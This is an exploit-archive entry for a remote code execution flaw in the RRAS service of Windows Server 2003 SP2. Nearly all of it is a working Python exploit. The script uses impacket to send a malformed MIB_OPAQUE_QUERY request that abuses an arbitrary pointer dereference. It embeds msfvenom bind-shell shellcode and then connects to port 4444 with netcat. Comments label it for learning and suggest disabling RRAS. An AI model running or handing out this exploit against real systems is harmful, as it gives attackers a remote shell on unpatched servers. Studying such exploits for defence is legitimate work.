Microsoft Windows 2003 SP2 RRAS SMB Remote Code Execution

2018.05.14
Credit: vportal
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#!/usr/bin/env python # -*- coding: utf-8 -*- #Tested in Windows Server 2003 SP2 (ES) - Only works when RRAS service is enabled. #The exploited vulnerability is an arbitraty pointer deference affecting the dwVarID field of the MIB_OPAQUE_QUERY structure. #dwVarID (sent by the client) is used as a pointer to an array of functions. The application doest not check if the pointer is #pointing out of the bounds of the array so is possible to jump to specific portions of memory achieving remote code execution. #Microsoft has not released a patch for Windows Server 2003 so consider to disable the RRAS service if you are still using #Windows Server 2003. #Exploit created by: VActor Portal #For learning purpose only import struct import sys import time import os from threading import Thread from impacket import smb from impacket import uuid from impacket import dcerpc from impacket.dcerpc.v5 import transport target = sys.argv[1] print '[-]Initiating connection' trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % target) trans.connect() print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % target dce = trans.DCERPC_class(trans) #RRAS DCE-RPC endpoint dce.bind(uuid.uuidtup_to_bin(('8f09f000-b7ed-11ce-bbd2-00001a181cad', '0.0'))) #msfvenom -a x86 --platform windows -p windows/shell_bind_tcp lport=4444 -b "\x00" -f python buf = "" buf += "\xb8\x3c\xb1\x1e\x1d\xd9\xc8\xd9\x74\x24\xf4\x5a\x33" buf += "\xc9\xb1\x53\x83\xc2\x04\x31\x42\x0e\x03\x7e\xbf\xfc" buf += "\xe8\x82\x57\x82\x13\x7a\xa8\xe3\x9a\x9f\x99\x23\xf8" buf += "\xd4\x8a\x93\x8a\xb8\x26\x5f\xde\x28\xbc\x2d\xf7\x5f" buf += "\x75\x9b\x21\x6e\x86\xb0\x12\xf1\x04\xcb\x46\xd1\x35" buf += "\x04\x9b\x10\x71\x79\x56\x40\x2a\xf5\xc5\x74\x5f\x43" buf += "\xd6\xff\x13\x45\x5e\x1c\xe3\x64\x4f\xb3\x7f\x3f\x4f" buf += "\x32\x53\x4b\xc6\x2c\xb0\x76\x90\xc7\x02\x0c\x23\x01" buf += "\x5b\xed\x88\x6c\x53\x1c\xd0\xa9\x54\xff\xa7\xc3\xa6" buf += "\x82\xbf\x10\xd4\x58\x35\x82\x7e\x2a\xed\x6e\x7e\xff" buf += "\x68\xe5\x8c\xb4\xff\xa1\x90\x4b\xd3\xda\xad\xc0\xd2" buf += "\x0c\x24\x92\xf0\x88\x6c\x40\x98\x89\xc8\x27\xa5\xc9" buf += "\xb2\x98\x03\x82\x5f\xcc\x39\xc9\x37\x21\x70\xf1\xc7" buf += "\x2d\x03\x82\xf5\xf2\xbf\x0c\xb6\x7b\x66\xcb\xb9\x51" buf += "\xde\x43\x44\x5a\x1f\x4a\x83\x0e\x4f\xe4\x22\x2f\x04" buf += "\xf4\xcb\xfa\xb1\xfc\x6a\x55\xa4\x01\xcc\x05\x68\xa9" buf += "\xa5\x4f\x67\x96\xd6\x6f\xad\xbf\x7f\x92\x4e\xae\x23" buf += "\x1b\xa8\xba\xcb\x4d\x62\x52\x2e\xaa\xbb\xc5\x51\x98" buf += "\x93\x61\x19\xca\x24\x8e\x9a\xd8\x02\x18\x11\x0f\x97" buf += "\x39\x26\x1a\xbf\x2e\xb1\xd0\x2e\x1d\x23\xe4\x7a\xf5" buf += "\xc0\x77\xe1\x05\x8e\x6b\xbe\x52\xc7\x5a\xb7\x36\xf5" buf += "\xc5\x61\x24\x04\x93\x4a\xec\xd3\x60\x54\xed\x96\xdd" buf += "\x72\xfd\x6e\xdd\x3e\xa9\x3e\x88\xe8\x07\xf9\x62\x5b" buf += "\xf1\x53\xd8\x35\x95\x22\x12\x86\xe3\x2a\x7f\x70\x0b" buf += "\x9a\xd6\xc5\x34\x13\xbf\xc1\x4d\x49\x5f\x2d\x84\xc9" buf += "\x6f\x64\x84\x78\xf8\x21\x5d\x39\x65\xd2\x88\x7e\x90" buf += "\x51\x38\xff\x67\x49\x49\xfa\x2c\xcd\xa2\x76\x3c\xb8" buf += "\xc4\x25\x3d\xe9" #NDR format stub = "\x21\x00\x00\x00" #dwPid = PID_IP (IPv4) stub += "\x10\x27\x00\x00" #dwRoutingPID stub += "\xa4\x86\x01\x00" #dwMibInEntrySize stub += "\x41"*4 #_MIB_OPAQUE_QUERY pointer stub += "\x04\x00\x00\x00" #dwVarID (_MIB_OPAQUE_QUERY) stub += "\x41"*4 #rgdwVarIndex (_MIB_OPAQUE_QUERY) stub += "\xa4\x86\x01\x00" #dwMibOutEntrySize stub += "\xad\x0b\x2d\x06" #dwVarID ECX (CALL off_64389048[ECX*4]) -> p2p JMP EAX #dwVarID (_MIB_OPAQUE_QUERY) stub += "\xd0\xba\x61\x41\x41" + "\x90"*5 + buf + "\x41"*(100000-10-len(buf)) #rgdwVarIndex (_MIB_OPAQUE_QUERY) stub += "\x04\x00\x00\x00" #dwId (_MIB_OPAQUE_INFO) stub += "\x41"*4 #ullAlign (_MIB_OPAQUE_INFO) dce.call(0x1e, stub) #0x1d MIBEntryGetFirst (other RPC calls are also affected) print "[-]Exploit sent to target successfully..." print "Waiting for shell..." time.sleep(5) os.system("nc " + target + " 4444")


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